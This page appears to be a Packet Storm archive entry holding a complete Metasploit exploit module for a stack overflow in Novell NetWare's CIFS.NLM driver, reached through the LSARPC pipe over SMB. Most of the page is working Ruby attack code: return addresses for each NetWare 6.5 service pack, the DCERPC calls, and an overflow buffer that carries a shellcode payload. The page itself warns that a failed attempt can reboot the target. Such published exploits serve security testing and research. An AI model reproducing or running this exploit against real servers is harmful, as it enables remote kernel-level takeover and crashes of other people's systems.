the last unbiased stronghold

Novell NetWare LSASS CIFS.NLM Driver Stack Overflow

Novell NetWare LSASS CIFS.NLM Driver Stack Overflow
Posted Oct 28, 2009
Authored by toto

This Metasploit module exploits a stack overflow in the NetWare CIFS.NLM driver. Since the driver runs in the kernel space, a failed exploit attempt can cause the OS to reboot.

tags | exploit, overflow, kernel
MD5 | d4b13b929126920753288d33c74b948f

Novell NetWare LSASS CIFS.NLM Driver Stack Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB


def initialize(info = {})
super(update_info(info,
'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Overflow',
'Description' => %q{
This module exploits a stack overflow in the NetWare CIFS.NLM driver.
Since the driver runs in the kernel space, a failed exploit attempt can
cause the OS to reboot.
},
'Author' =>
[
'toto',
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '12790' ],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
},
'Platform' => 'netware',
'Targets' =>
[
# NetWare SP can be found in the SNMP version :
# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)

[ 'VMware', { 'Ret' => 0x000f142b } ],
[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)
[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)
],

'DisclosureDate' => 'Jan 21 2007'))

register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (LSARPC)", 'lsarpc'])
], self.class)

end

def exploit

# Force multi-bind off (netware doesn't support it)
datastore['DCERPC::fake_bind_multi'] = false

connect()
smb_login()

handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

stb =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0) +
NDR.long(0x000f0fff)

resp = dcerpc.call(0x2c, stb)
handle, = resp[0,20]
code, = resp[20, 4].unpack('V')

name =
rand_text_alphanumeric(0xa0) +
[target.ret].pack('V') +
payload.encoded

stb =
handle +
NDR.long(1) +
NDR.long(1) +

NDR.short(name.length) +
NDR.short(name.length) +
NDR.long(rand(0xffffffff)) +

NDR.UnicodeConformantVaryingStringPreBuilt(name) +

NDR.long(0) +
NDR.long(0) +
NDR.long(1) +
NDR.long(0)

print_status("Calling the vulnerable function ...")

begin
dcerpc.call(0x0E, stb)
rescue
end

# Cleanup
handler
disconnect
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close